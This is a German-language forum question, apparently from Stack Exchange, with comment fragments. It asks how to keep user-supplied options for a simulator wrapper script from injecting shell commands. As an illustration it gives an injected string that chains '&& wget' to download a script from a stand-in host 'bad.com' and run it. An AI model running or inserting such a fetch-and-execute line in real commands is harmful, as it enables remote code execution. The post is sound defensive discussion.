Ich habe eine Wrapper-Anwendung, in der der Benutzer benutzerdefinierte Optionen angeben muss, die an einen Simulator übergeben werden sollen. Ich möchte jedoch sicherstellen, dass der Benutzer keine anderen Befehle über die Benutzeroptionen eingibt. Was ist der beste Weg, um dies zu erreichen?
Beispielsweise.
- Benutzer bietet:
-a -b
- Anwendung führt aus:
mysim --preset_opt -a -b
Ich möchte jedoch nicht, dass dies passiert:
- Benutzer bietet:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
- Anwendung führt aus:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
Derzeit denke ich, dass ich einfach jede von Benutzern bereitgestellte Option mit einfachen Anführungszeichen umgeben '
und alle von Benutzern bereitgestellten einfachen Anführungszeichen entfernen könnte, so dass der Befehl im letzten Beispiel harmlos wird:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
Hinweis: Der mysim
Befehl wird als Teil eines Shell-Skripts in einem Docker / LXC-Container ausgeführt. Ich lasse Ubuntu laufen.
eval
. Ich rufe die ausführbare Datei mysim
in einem Shell-Skript auf. Ich sehe die Injektion, wenn ich einfach die Zeichenfolge der vom Benutzer bereitgestellten Optionen kopiere und am Ende des mysim
Befehls einfüge.
-a -b
. Daher möchte ich sicherstellen, dass keine zusätzlichen Befehle in diese Zeichenfolge eingefügt werden.
[a-zA-Z0-9 _-]
sieht nach einer ziemlich defensiven Wahl aus.
eval
, um die Anwendung auszuführen? Wenn nicht, sollte die Injektion nicht passieren:x="&& echo Doomed" ; echo $x